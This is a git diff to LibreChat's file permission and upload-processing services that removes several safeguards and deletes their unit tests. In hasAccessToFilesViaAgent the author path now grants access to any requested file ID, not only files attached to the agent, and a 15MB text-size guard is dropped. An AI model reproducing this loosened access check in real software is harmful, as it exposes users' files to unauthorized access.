+++ b/api/server/services/Files/permissions.js
@@ -1,29 +1,10 @@
const { logger } = require('@librechat/data-schemas');
-const { PermissionBits, ResourceType, isEphemeralAgentId } = require('librechat-data-provider');
+const { PermissionBits, ResourceType } = require('librechat-data-provider');
const { checkPermission } = require('~/server/services/PermissionService');
const { getAgent } = require('~/models/Agent');
/**
- * @param {Object} agent - The agent document (lean)
- * @returns {Set} All file IDs attached across all resource types
- */
-function getAttachedFileIds(agent) {
- const attachedFileIds = new Set();
- if (agent.tool_resources) {
- for (const resource of Object.values(agent.tool_resources)) {
- if (resource?.file_ids && Array.isArray(resource.file_ids)) {
- for (const fileId of resource.file_ids) {
- attachedFileIds.add(fileId);
- }
- }
- }
- }
- return attachedFileIds;
-}
-
-/**
- * Checks if a user has access to multiple files through a shared agent (batch operation).
- * Access is always scoped to files actually attached to the agent's tool_resources.
+ * Checks if a user has access to multiple files through a shared agent (batch operation)
* @param {Object} params - Parameters object
* @param {string} params.userId - The user ID to check access for
* @param {string} [params.role] - Optional user role to avoid DB query
@@ -35,6 +16,7 @@ function getAttachedFileIds(agent) {
const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDelete }) => {
const accessMap = new Map();
+ // Initialize all files as no access
fileIds.forEach((fileId) => accessMap.set(fileId, false));
try {
@@ -44,17 +26,13 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
return accessMap;
}
- const attachedFileIds = getAttachedFileIds(agent);
-
+ // Check if user is the author - if so, grant access to all files
if (agent.author.toString() === userId.toString()) {
- fileIds.forEach((fileId) => {
- if (attachedFileIds.has(fileId)) {
- accessMap.set(fileId, true);
- }
- });
+ fileIds.forEach((fileId) => accessMap.set(fileId, true));
return accessMap;
}
+ // Check if user has at least VIEW permission on the agent
const hasViewPermission = await checkPermission({
userId,
role,
@@ -68,6 +46,7 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
}
if (isDelete) {
+ // Check if user has EDIT permission (which would indicate collaborative access)
const hasEditPermission = await checkPermission({
userId,
role,
@@ -76,11 +55,23 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
requiredPermission: PermissionBits.EDIT,
});
+ // If user only has VIEW permission, they can't access files
+ // Only users with EDIT permission or higher can access agent files
if (!hasEditPermission) {
return accessMap;
}
}
+ const attachedFileIds = new Set();
+ if (agent.tool_resources) {
+ for (const [_resourceType, resource] of Object.entries(agent.tool_resources)) {
+ if (resource?.file_ids && Array.isArray(resource.file_ids)) {
+ resource.file_ids.forEach((fileId) => attachedFileIds.add(fileId));
+ }
+ }
+ }
+
+ // Grant access only to files that are attached to this agent
fileIds.forEach((fileId) => {
if (attachedFileIds.has(fileId)) {
accessMap.set(fileId, true);
@@ -104,7 +95,7 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
* @returns {Promise>} Filtered array of accessible files
*/
const filterFilesByAgentAccess = async ({ files, userId, role, agentId }) => {
- if (!userId || !agentId || !files || files.length === 0 || isEphemeralAgentId(agentId)) {
+ if (!userId || !agentId || !files || files.length === 0) {
return files;
}
diff --git a/api/server/services/Files/permissions.spec.js b/api/server/services/Files/permissions.spec.js
deleted file mode 100644
index 85e7b2dc5b..0000000000
--- a/api/server/services/Files/permissions.spec.js
+++ /dev/null
@@ -1,409 +0,0 @@
-jest.mock('@librechat/data-schemas', () => ({
- logger: { error: jest.fn() },
-}));
-
-jest.mock('~/server/services/PermissionService', () => ({
- checkPermission: jest.fn(),
-}));
-
-jest.mock('~/models/Agent', () => ({
- getAgent: jest.fn(),
-}));
-
-const { logger } = require('@librechat/data-schemas');
-const { Constants, PermissionBits, ResourceType } = require('librechat-data-provider');
-const { checkPermission } = require('~/server/services/PermissionService');
-const { getAgent } = require('~/models/Agent');
-const { filterFilesByAgentAccess, hasAccessToFilesViaAgent } = require('./permissions');
-
-const AUTHOR_ID = 'author-user-id';
-const USER_ID = 'viewer-user-id';
-const AGENT_ID = 'agent_test-abc123';
-const AGENT_MONGO_ID = 'mongo-agent-id';
-
-function makeFile(file_id, user) {
- return { file_id, user, filename: `${file_id}.txt` };
-}
-
-function makeAgent(overrides = {}) {
- return {
- _id: AGENT_MONGO_ID,
- id: AGENT_ID,
- author: AUTHOR_ID,
- tool_resources: {
- file_search: { file_ids: ['attached-1', 'attached-2'] },
- execute_code: { file_ids: ['attached-3'] },
- },
- ...overrides,
- };
-}
-
-beforeEach(() => {
- jest.clearAllMocks();
-});
-
-describe('filterFilesByAgentAccess', () => {
- describe('early returns (no DB calls)', () => {
- it('should return files unfiltered for ephemeral agentId', async () => {
- const files = [makeFile('f1', 'other-user')];
- const result = await filterFilesByAgentAccess({
- files,
- userId: USER_ID,
- agentId: Constants.EPHEMERAL_AGENT_ID,
- });
-
- expect(result).toBe(files);
- expect(getAgent).not.toHaveBeenCalled();
- });
-
- it('should return files unfiltered for non-agent_ prefixed agentId', async () => {
- const files = [makeFile('f1', 'other-user')];
- const result = await filterFilesByAgentAccess({
- files,
- userId: USER_ID,
- agentId: 'custom-memory-id',
- });
-
- expect(result).toBe(files);
- expect(getAgent).not.toHaveBeenCalled();
- });
-
- it('should return files when userId is missing', async () => {
- const files = [makeFile('f1', 'someone')];
- const result = await filterFilesByAgentAccess({
- files,
- userId: undefined,
- agentId: AGENT_ID,
- });
-
- expect(result).toBe(files);
- expect(getAgent).not.toHaveBeenCalled();
- });
-
- it('should return files when agentId is missing', async () => {
- const files = [makeFile('f1', 'someone')];
- const result = await filterFilesByAgentAccess({
- files,
- userId: USER_ID,
- agentId: undefined,
- });
-
- expect(result).toBe(files);
- expect(getAgent).not.toHaveBeenCalled();
- });
-
- it('should return empty array when files is empty', async () => {
- const result = await filterFilesByAgentAccess({
- files: [],
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([]);
- expect(getAgent).not.toHaveBeenCalled();
- });
-
- it('should return undefined when files is nullish', async () => {
- const result = await filterFilesByAgentAccess({
- files: null,
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toBeNull();
- expect(getAgent).not.toHaveBeenCalled();
- });
- });
-
- describe('all files owned by userId', () => {
- it('should return all files without calling getAgent', async () => {
- const files = [makeFile('f1', USER_ID), makeFile('f2', USER_ID)];
- const result = await filterFilesByAgentAccess({
- files,
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual(files);
- expect(getAgent).not.toHaveBeenCalled();
- });
- });
-
- describe('mixed owned and non-owned files', () => {
- const ownedFile = makeFile('owned-1', USER_ID);
- const sharedFile = makeFile('attached-1', AUTHOR_ID);
- const unattachedFile = makeFile('not-attached', AUTHOR_ID);
-
- it('should return owned + accessible non-owned files when user has VIEW', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(true);
-
- const result = await filterFilesByAgentAccess({
- files: [ownedFile, sharedFile, unattachedFile],
- userId: USER_ID,
- role: 'USER',
- agentId: AGENT_ID,
- });
-
- expect(result).toHaveLength(2);
- expect(result.map((f) => f.file_id)).toContain('owned-1');
- expect(result.map((f) => f.file_id)).toContain('attached-1');
- expect(result.map((f) => f.file_id)).not.toContain('not-attached');
- });
-
- it('should return only owned files when user lacks VIEW permission', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(false);
-
- const result = await filterFilesByAgentAccess({
- files: [ownedFile, sharedFile],
- userId: USER_ID,
- role: 'USER',
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([ownedFile]);
- });
-
- it('should return only owned files when agent is not found', async () => {
- getAgent.mockResolvedValue(null);
-
- const result = await filterFilesByAgentAccess({
- files: [ownedFile, sharedFile],
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([ownedFile]);
- });
-
- it('should return only owned files on DB error (fail-closed)', async () => {
- getAgent.mockRejectedValue(new Error('DB connection lost'));
-
- const result = await filterFilesByAgentAccess({
- files: [ownedFile, sharedFile],
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([ownedFile]);
- expect(logger.error).toHaveBeenCalled();
- });
- });
-
- describe('file with no user field', () => {
- it('should treat file as non-owned and run through access check', async () => {
- const noUserFile = makeFile('attached-1', undefined);
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(true);
-
- const result = await filterFilesByAgentAccess({
- files: [noUserFile],
- userId: USER_ID,
- role: 'USER',
- agentId: AGENT_ID,
- });
-
- expect(getAgent).toHaveBeenCalled();
- expect(result).toEqual([noUserFile]);
- });
-
- it('should exclude file with no user field when not attached to agent', async () => {
- const noUserFile = makeFile('not-attached', null);
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(true);
-
- const result = await filterFilesByAgentAccess({
- files: [noUserFile],
- userId: USER_ID,
- role: 'USER',
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([]);
- });
- });
-
- describe('no owned files (all non-owned)', () => {
- const file1 = makeFile('attached-1', AUTHOR_ID);
- const file2 = makeFile('not-attached', AUTHOR_ID);
-
- it('should return only attached files when user has VIEW', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(true);
-
- const result = await filterFilesByAgentAccess({
- files: [file1, file2],
- userId: USER_ID,
- role: 'USER',
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([file1]);
- });
-
- it('should return empty array when no VIEW permission', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(false);
-
- const result = await filterFilesByAgentAccess({
- files: [file1, file2],
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([]);
- });
-
- it('should return empty array when agent not found', async () => {
- getAgent.mockResolvedValue(null);
-
- const result = await filterFilesByAgentAccess({
- files: [file1],
- userId: USER_ID,
- agentId: AGENT_ID,
- });
-
- expect(result).toEqual([]);
- });
- });
-});
-
-describe('hasAccessToFilesViaAgent', () => {
- describe('agent not found', () => {
- it('should return all-false map', async () => {
- getAgent.mockResolvedValue(null);
-
- const result = await hasAccessToFilesViaAgent({
- userId: USER_ID,
- fileIds: ['f1', 'f2'],
- agentId: AGENT_ID,
- });
-
- expect(result.get('f1')).toBe(false);
- expect(result.get('f2')).toBe(false);
- });
- });
-
- describe('author path', () => {
- it('should grant access to attached files for the agent author', async () => {
- getAgent.mockResolvedValue(makeAgent());
-
- const result = await hasAccessToFilesViaAgent({
- userId: AUTHOR_ID,
- fileIds: ['attached-1', 'not-attached'],
- agentId: AGENT_ID,
- });
-
- expect(result.get('attached-1')).toBe(true);
- expect(result.get('not-attached')).toBe(false);
- expect(checkPermission).not.toHaveBeenCalled();
- });
- });
-
- describe('VIEW permission path', () => {
- it('should grant access to attached files for viewer with VIEW permission', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(true);
-
- const result = await hasAccessToFilesViaAgent({
- userId: USER_ID,
- role: 'USER',
- fileIds: ['attached-1', 'attached-3', 'not-attached'],
- agentId: AGENT_ID,
- });
-
- expect(result.get('attached-1')).toBe(true);
- expect(result.get('attached-3')).toBe(true);
- expect(result.get('not-attached')).toBe(false);
-
- expect(checkPermission).toHaveBeenCalledWith({
- userId: USER_ID,
- role: 'USER',
- resourceType: ResourceType.AGENT,
- resourceId: AGENT_MONGO_ID,
- requiredPermission: PermissionBits.VIEW,
- });
- });
-
- it('should deny all when VIEW permission is missing', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValue(false);
-
- const result = await hasAccessToFilesViaAgent({
- userId: USER_ID,
- fileIds: ['attached-1'],
- agentId: AGENT_ID,
- });
-
- expect(result.get('attached-1')).toBe(false);
- });
- });
-
- describe('delete path (EDIT permission required)', () => {
- it('should grant access when both VIEW and EDIT pass', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValueOnce(true).mockResolvedValueOnce(true);
-
- const result = await hasAccessToFilesViaAgent({
- userId: USER_ID,
- fileIds: ['attached-1'],
- agentId: AGENT_ID,
- isDelete: true,
- });
-
- expect(result.get('attached-1')).toBe(true);
- expect(checkPermission).toHaveBeenCalledTimes(2);
- expect(checkPermission).toHaveBeenLastCalledWith(
- expect.objectContaining({ requiredPermission: PermissionBits.EDIT }),
- );
- });
-
- it('should deny all when VIEW passes but EDIT fails', async () => {
- getAgent.mockResolvedValue(makeAgent());
- checkPermission.mockResolvedValueOnce(true).mockResolvedValueOnce(false);
-
- const result = await hasAccessToFilesViaAgent({
- userId: USER_ID,
- fileIds: ['attached-1'],
- agentId: AGENT_ID,
- isDelete: true,
- });
-
- expect(result.get('attached-1')).toBe(false);
- });
- });
-
- describe('error handling', () => {
- it('should return all-false map on DB error (fail-closed)', async () => {
- getAgent.mockRejectedValue(new Error('connection refused'));
-
- const result = await hasAccessToFilesViaAgent({
- userId: USER_ID,
- fileIds: ['f1', 'f2'],
- agentId: AGENT_ID,
- });
-
- expect(result.get('f1')).toBe(false);
- expect(result.get('f2')).toBe(false);
- expect(logger.error).toHaveBeenCalledWith(
- '[hasAccessToFilesViaAgent] Error checking file access:',
- expect.any(Error),
- );
- });
- });
-
- describe('agent with no tool_resources', () => {
- it('should deny all files even for the author', async () => {
- getAgent.mockResolvedValue(makeAgent({ tool_resources: undefined }));
-
- const result = await hasAccessToFilesViaAgent({
- userId: AUTHOR_ID,
- fileIds: ['f1'],
- agentId: AGENT_ID,
- });
-
- expect(result.get('f1')).toBe(false);
- });
- });
-});
diff --git a/api/server/services/Files/process.js b/api/server/services/Files/process.js
index d01128927a..30b47f2e52 100644
--- a/api/server/services/Files/process.js
+++ b/api/server/services/Files/process.js
@@ -16,7 +16,6 @@ const {
removeNullishValues,
isAssistantsEndpoint,
getEndpointFileConfig,
- documentParserMimeTypes,
} = require('librechat-data-provider');
const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
@@ -524,12 +523,6 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
* @return {Promise}
*/
const createTextFile = async ({ text, bytes, filepath, type = 'text/plain' }) => {
- const textBytes = Buffer.byteLength(text, 'utf8');
- if (textBytes > 15 * megabyte) {
- throw new Error(
- `Extracted text from "${file.originalname}" exceeds the 15MB storage limit (${Math.round(textBytes / megabyte)}MB). Try a shorter document.`,
- );
- }
const fileInfo = removeNullishValues({
text,
bytes,
@@ -560,52 +553,29 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
const fileConfig = mergeFileConfig(appConfig.fileConfig);
- const shouldUseConfiguredOCR =
+ const shouldUseOCR =
appConfig?.ocr != null &&
fileConfig.checkType(file.mimetype, fileConfig.ocr?.supportedMimeTypes || []);
- const shouldUseDocumentParser =
- !shouldUseConfiguredOCR && documentParserMimeTypes.some((regex) => regex.test(file.mimetype));
-
- const shouldUseOCR = shouldUseConfiguredOCR || shouldUseDocumentParser;
-
- const resolveDocumentText = async () => {
- if (shouldUseConfiguredOCR) {
- try {
- const ocrStrategy = appConfig?.ocr?.strategy ?? FileSources.document_parser;
- const { handleFileUpload } = getStrategyFunctions(ocrStrategy);
- return await handleFileUpload({ req, file, loadAuthValues });
- } catch (err) {
- logger.error(
- `[processAgentFileUpload] Configured OCR failed for "${file.originalname}", falling back to document_parser:`,
- err,
- );
- }
- }
+ if (shouldUseOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
+ throw new Error('OCR capability is not enabled for Agents');
+ } else if (shouldUseOCR) {
try {
- const { handleFileUpload } = getStrategyFunctions(FileSources.document_parser);
- return await handleFileUpload({ req, file, loadAuthValues });
- } catch (err) {
+ const { handleFileUpload: uploadOCR } = getStrategyFunctions(
+ appConfig?.ocr?.strategy ?? FileSources.mistral_ocr,
+ );
+ const {
+ text,
+ bytes,
+ filepath: ocrFileURL,
+ } = await uploadOCR({ req, file, loadAuthValues });
+ return await createTextFile({ text, bytes, filepath: ocrFileURL });
+ } catch (ocrError) {
logger.error(
- `[processAgentFileUpload] Document parser failed for "${file.originalname}":`,
- err,
+ `[processAgentFileUpload] OCR processing failed for file "${file.originalname}", falling back to text extraction:`,
+ ocrError,
);
}
- };
-
- if (shouldUseConfiguredOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
- throw new Error('OCR capability is not enabled for Agents');
- }
-
- if (shouldUseOCR) {
- const ocrResult = await resolveDocumentText();
- if (ocrResult) {
- const { text, bytes, filepath: ocrFileURL } = ocrResult;
- return await createTextFile({ text, bytes, filepath: ocrFileURL });
- }
- throw new Error(
- `Unable to extract text from "${file.originalname}". The document may be image-based and requires an OCR service to process.`,
- );
}
const shouldUseSTT = fileConfig.checkType(
diff --git a/api/server/services/Files/process.spec.js b/api/server/services/Files/process.spec.js
deleted file mode 100644
index 7737255a52..0000000000
--- a/api/server/services/Files/process.spec.js
+++ /dev/null
@@ -1,347 +0,0 @@
-jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
-}));
-
-jest.mock('@librechat/agents', () => ({
- EnvVar: { CODE_API_KEY: 'CODE_API_KEY' },
-}));
-
-jest.mock('@librechat/api', () => ({
- sanitizeFilename: jest.fn((n) => n),
- parseText: jest.fn().mockResolvedValue({ text: '', bytes: 0 }),
- processAudioFile: jest.fn(),
-}));
-
-jest.mock('librechat-data-provider', () => ({
- ...jest.requireActual('librechat-data-provider'),
- mergeFileConfig: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/images', () => ({
- convertImage: jest.fn(),
- resizeAndConvert: jest.fn(),
- resizeImageBuffer: jest.fn(),
-}));
-
-jest.mock('~/server/controllers/assistants/v2', () => ({
- addResourceFileId: jest.fn(),
- deleteResourceFileId: jest.fn(),
-}));
-
-jest.mock('~/models/Agent', () => ({
- addAgentResourceFile: jest.fn().mockResolvedValue({}),
- removeAgentResourceFiles: jest.fn(),
-}));
-
-jest.mock('~/server/controllers/assistants/helpers', () => ({
- getOpenAIClient: jest.fn(),
-}));
-
-jest.mock('~/server/services/Tools/credentials', () => ({
- loadAuthValues: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
- createFile: jest.fn().mockResolvedValue({ file_id: 'created-file-id' }),
- updateFileUsage: jest.fn(),
- deleteFiles: jest.fn(),
-}));
-
-jest.mock('~/server/utils/getFileStrategy', () => ({
- getFileStrategy: jest.fn().mockReturnValue('local'),
-}));
-
-jest.mock('~/server/services/Config', () => ({
- checkCapability: jest.fn().mockResolvedValue(true),
-}));
-
-jest.mock('~/server/utils/queue', () => ({
- LB_QueueAsyncCall: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/strategies', () => ({
- getStrategyFunctions: jest.fn(),
-}));
-
-jest.mock('~/server/utils', () => ({
- determineFileType: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/Audio/STTService', () => ({
- STTService: { getInstance: jest.fn() },
-}));
-
-const { EToolResources, FileSources, AgentCapabilities } = require('librechat-data-provider');
-const { mergeFileConfig } = require('librechat-data-provider');
-const { checkCapability } = require('~/server/services/Config');
-const { getStrategyFunctions } = require('~/server/services/Files/strategies');
-const { processAgentFileUpload } = require('./process');
-
-const PDF_MIME = 'application/pdf';
-const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
-const XLSX_MIME = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
-const XLS_MIME = 'application/vnd.ms-excel';
-const ODS_MIME = 'application/vnd.oasis.opendocument.spreadsheet';
-const ODT_MIME = 'application/vnd.oasis.opendocument.text';
-const ODP_MIME = 'application/vnd.oasis.opendocument.presentation';
-const ODG_MIME = 'application/vnd.oasis.opendocument.graphics';
-
-const makeReq = ({ mimetype = PDF_MIME, ocrConfig = null } = {}) => ({
- user: { id: 'user-123' },
- file: {
- path: '/tmp/upload.bin',
- originalname: 'upload.bin',
- filename: 'upload-uuid.bin',
- mimetype,
- },
- body: { model: 'gpt-4o' },
- config: {
- fileConfig: {},
- fileStrategy: 'local',
- ocr: ocrConfig,
- },
-});
-
-const makeMetadata = () => ({
- agent_id: 'agent-abc',
- tool_resource: EToolResources.context,
- file_id: 'file-uuid-123',
-});
-
-const mockRes = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn().mockReturnValue({}),
-};
-
-const makeFileConfig = ({ ocrSupportedMimeTypes = [] } = {}) => ({
- checkType: (mime, types) => (types ?? []).includes(mime),
- ocr: { supportedMimeTypes: ocrSupportedMimeTypes },
- stt: { supportedMimeTypes: [] },
- text: { supportedMimeTypes: [] },
-});
-
-describe('processAgentFileUpload', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- mockRes.status.mockReturnThis();
- mockRes.json.mockReturnValue({});
- checkCapability.mockResolvedValue(true);
- getStrategyFunctions.mockReturnValue({
- handleFileUpload: jest
- .fn()
- .mockResolvedValue({ text: 'extracted text', bytes: 42, filepath: 'doc://result' }),
- });
- mergeFileConfig.mockReturnValue(makeFileConfig());
- });
-
- describe('OCR strategy selection', () => {
- test.each([
- ['PDF', PDF_MIME],
- ['DOCX', DOCX_MIME],
- ['XLSX', XLSX_MIME],
- ['XLS', XLS_MIME],
- ['ODS', ODS_MIME],
- ['Excel variant (msexcel)', 'application/msexcel'],
- ['Excel variant (x-msexcel)', 'application/x-msexcel'],
- ])('uses document_parser automatically for %s when no OCR is configured', async (_, mime) => {
- mergeFileConfig.mockReturnValue(makeFileConfig());
- const req = makeReq({ mimetype: mime, ocrConfig: null });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
- });
-
- test('does not check OCR capability when using automatic document_parser fallback', async () => {
- const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
- });
-
- test('uses the configured OCR strategy when OCR is set up for the file type', async () => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
- const req = makeReq({
- mimetype: PDF_MIME,
- ocrConfig: { strategy: FileSources.mistral_ocr },
- });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
- });
-
- test('uses document_parser as default when OCR is configured but no strategy is specified', async () => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
- const req = makeReq({
- mimetype: PDF_MIME,
- ocrConfig: { supportedMimeTypes: [PDF_MIME] },
- });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
- });
-
- test('throws when configured OCR capability is not enabled for the agent', async () => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
- checkCapability.mockResolvedValue(false);
- const req = makeReq({
- mimetype: PDF_MIME,
- ocrConfig: { strategy: FileSources.mistral_ocr },
- });
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).rejects.toThrow('OCR capability is not enabled for Agents');
- });
-
- test('uses document_parser (no capability check) when OCR capability returns false but no OCR config', async () => {
- checkCapability.mockResolvedValue(false);
- const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
- });
-
- test('uses document_parser when OCR is configured but the file type is not in OCR supported types', async () => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
- const req = makeReq({
- mimetype: DOCX_MIME,
- ocrConfig: { strategy: FileSources.mistral_ocr },
- });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
- expect(getStrategyFunctions).not.toHaveBeenCalledWith(FileSources.mistral_ocr);
- });
-
- test('does not invoke any OCR strategy for unsupported MIME types without OCR config', async () => {
- const req = makeReq({ mimetype: 'text/plain', ocrConfig: null });
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).rejects.toThrow('File type text/plain is not supported for text parsing.');
-
- expect(getStrategyFunctions).not.toHaveBeenCalled();
- });
-
- test.each([
- ['ODT', ODT_MIME],
- ['ODP', ODP_MIME],
- ['ODG', ODG_MIME],
- ])('routes %s through configured OCR when OCR supports the type', async (_, mime) => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [mime] }));
- const req = makeReq({
- mimetype: mime,
- ocrConfig: { strategy: FileSources.mistral_ocr },
- });
-
- await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
-
- expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
- });
-
- test('throws instead of falling back to parseText when document_parser fails for a document MIME type', async () => {
- getStrategyFunctions.mockReturnValue({
- handleFileUpload: jest.fn().mockRejectedValue(new Error('No text found in document')),
- });
- const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
- const { parseText } = require('@librechat/api');
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).rejects.toThrow(/image-based and requires an OCR service/);
-
- expect(parseText).not.toHaveBeenCalled();
- });
-
- test('falls back to document_parser when configured OCR fails for a document MIME type', async () => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
- const failingUpload = jest.fn().mockRejectedValue(new Error('OCR API returned 500'));
- const fallbackUpload = jest
- .fn()
- .mockResolvedValue({ text: 'parsed text', bytes: 11, filepath: 'doc://result' });
- getStrategyFunctions
- .mockReturnValueOnce({ handleFileUpload: failingUpload })
- .mockReturnValueOnce({ handleFileUpload: fallbackUpload });
- const req = makeReq({
- mimetype: PDF_MIME,
- ocrConfig: { strategy: FileSources.mistral_ocr },
- });
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).resolves.not.toThrow();
-
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
- expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
- });
-
- test('throws when both configured OCR and document_parser fallback fail', async () => {
- mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
- getStrategyFunctions.mockReturnValue({
- handleFileUpload: jest.fn().mockRejectedValue(new Error('failure')),
- });
- const req = makeReq({
- mimetype: PDF_MIME,
- ocrConfig: { strategy: FileSources.mistral_ocr },
- });
- const { parseText } = require('@librechat/api');
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).rejects.toThrow(/image-based and requires an OCR service/);
-
- expect(parseText).not.toHaveBeenCalled();
- });
- });
-
- describe('text size guard', () => {
- test('throws before writing to MongoDB when extracted text exceeds 15MB', async () => {
- const oversizedText = 'x'.repeat(15 * 1024 * 1024 + 1);
- getStrategyFunctions.mockReturnValue({
- handleFileUpload: jest.fn().mockResolvedValue({
- text: oversizedText,
- bytes: Buffer.byteLength(oversizedText, 'utf8'),
- filepath: 'doc://result',
- }),
- });
- const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
- const { createFile } = require('~/models');
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).rejects.toThrow(/exceeds the 15MB storage limit/);
-
- expect(createFile).not.toHaveBeenCalled();
- });
-
- test('succeeds when extracted text is within the 15MB limit', async () => {
- const okText = 'x'.repeat(1024);
- getStrategyFunctions.mockReturnValue({
- handleFileUpload: jest.fn().mockResolvedValue({
- text: okText,
- bytes: Buffer.byteLength(okText, 'utf8'),
- filepath: 'doc://result',
- }),
- });
- const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
-
- await expect(
- processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
- ).resolves.not.toThrow();
- });
- });
-});
diff --git a/api/server/services/Files/strategies.js b/api/server/services/Files/strategies.js
index 25341b5715..2ad526194b 100644
--- a/api/server/services/Files/strategies.js
+++ b/api/server/services/Files/strategies.js
@@ -1,6 +1,5 @@
const { FileSources } = require('librechat-data-provider');
const {
- parseDocument,
uploadMistralOCR,
uploadAzureMistralOCR,
uploadGoogleVertexMistralOCR,
@@ -247,26 +246,6 @@ const vertexMistralOCRStrategy = () => ({
handleFileUpload: uploadGoogleVertexMistralOCR,
});
-const documentParserStrategy = () => ({
- /** @type {typeof saveFileFromURL | null} */
- saveURL: null,
- /** @type {typeof getLocalFileURL | null} */
- getFileURL: null,
- /** @type {typeof saveLocalBuffer | null} */
- saveBuffer: null,
- /** @type {typeof processLocalAvatar | null} */
- processAvatar: null,
- /** @type {typeof uploadLocalImage | null} */
- handleImageUpload: null,
- /** @type {typeof prepareImagesLocal | null} */
- prepareImagePayload: null,
- /** @type {typeof deleteLocalFile | null} */
- deleteFile: null,
